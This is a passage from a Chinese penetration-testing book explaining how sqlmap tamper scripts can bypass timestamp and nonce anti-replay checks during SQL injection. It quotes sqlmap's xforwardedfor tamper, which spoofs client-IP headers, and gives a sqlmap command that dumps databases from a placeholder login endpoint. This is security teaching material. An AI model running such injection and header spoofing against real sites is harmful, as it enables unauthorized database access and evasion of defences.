3.10 使用tamper绕过时间戳进行注入
3.10.1 时间戳简介
- 时间戳定义
时间戳是指格林威治时间1970年01月01日 00时00分00秒(北京时间1970年01月01日 08时00分00秒) 起至现在的总秒数,通俗的讲,时间戳是能够表示一份数据在一个特定时间点已经存在的完整的可验证的数据,她的提出主要是为了给用户提供一份电子证据,以证明用户的某些数据的产生时间,在实际应用中,她可以使用在包括电子商务,金融活动的各个方面,尤其可以用来支撑公开密钥基础设施的"不可否认性"服务
- 函数中的时间戳
UNIX时间戳(UNIX Timestamp) 或称UNIX时间(UNIX Time) POSIX时间(POSIX Time) 是一种时间表示方式,定义同上,UNIX时间戳不仅被使用在UNIX系统,类UNIX系统中(如:Linux系统) ,也在许多其他操作系统中被广泛采用
(1) PHP中获取时间戳的方法: time();Date()
(2) Linux中获取时间戳的方法:date +%s
(3) Linux中将时间戳转换为日期:date -d "@"
- 时间戳的Python代码
Python 2和3版本都可以执行
!/usr/bin/env python
coding=utf8
import time
t = time.time()
timestamp = int(round(t * 1000))
timestamp = str(timestamp)
print (timestamp)
- 时间戳在安全上的意义
很多站点为了增加攻击成本,提升站点的安全性,就会采用随机数+时间戳+username的方式进行安全验证,同时每天对该值进行清理,避免抓包重放攻击,Timestamp是根据服务器当前时间生成的一个字符串,与nonce 随机数放在一起,可以表示服务器在某个时间点生成的随机数,这样就算生成的随机数相同,但是因为她们的时间点不一样,所以也算有效的随机数,所以一些注重安全的站点会使用此方法采取了一些防范措施来防止重放攻击,简单的理解就是为了防范使用Burpsuite通过各种时间戳组合进行抓包重放攻击
3.10.2 分析sqlmap中的插件代码
xforwardedfor.py 插件代码,代码位置在sqlmap的 tamper目录下有个xforwardedfor.py插件
部分代码:
def tamper(payload, **kwargs):
"""
Append a fake HTTP header 'X-Forwarded-For' (and alike)
"""
headers = kwargs.get("headers", {}) # 以字典的方式取出header包头数据
headers["X-Forwarded-For"] = randomIP() # 然后将headers包头数据中的X-Forwarded-for地址使用随机地址
headers["X-Client-Ip"] = randomIP()
headers["X-Real-Ip"] = randomIP()
headers["CF-Connecting-IP"] = randomIP()
headers["True-Client-IP"] = randomIP()
# Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection
headers["Via"] = "1.1 Chrome-Compression-Proxy"
# Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007
headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]
return payload
3.10.3 编写绕过时间戳代码
- 代码文件
作者随书配套有对应的代码文件
- 使用方法
文件名:replacehead.py , 将该文件复制到tamper目录下,使用方法如下:
sqlmap.py -u "http://xxx.com/openapi/v1/users/login" --data "(\"loginid\":\"13121838135\", \"passowrd\":\"12345\")" --tamper "replacehead" --dbms=mysql -v 5 --dbs --proxy=http://127.0.0.1:9988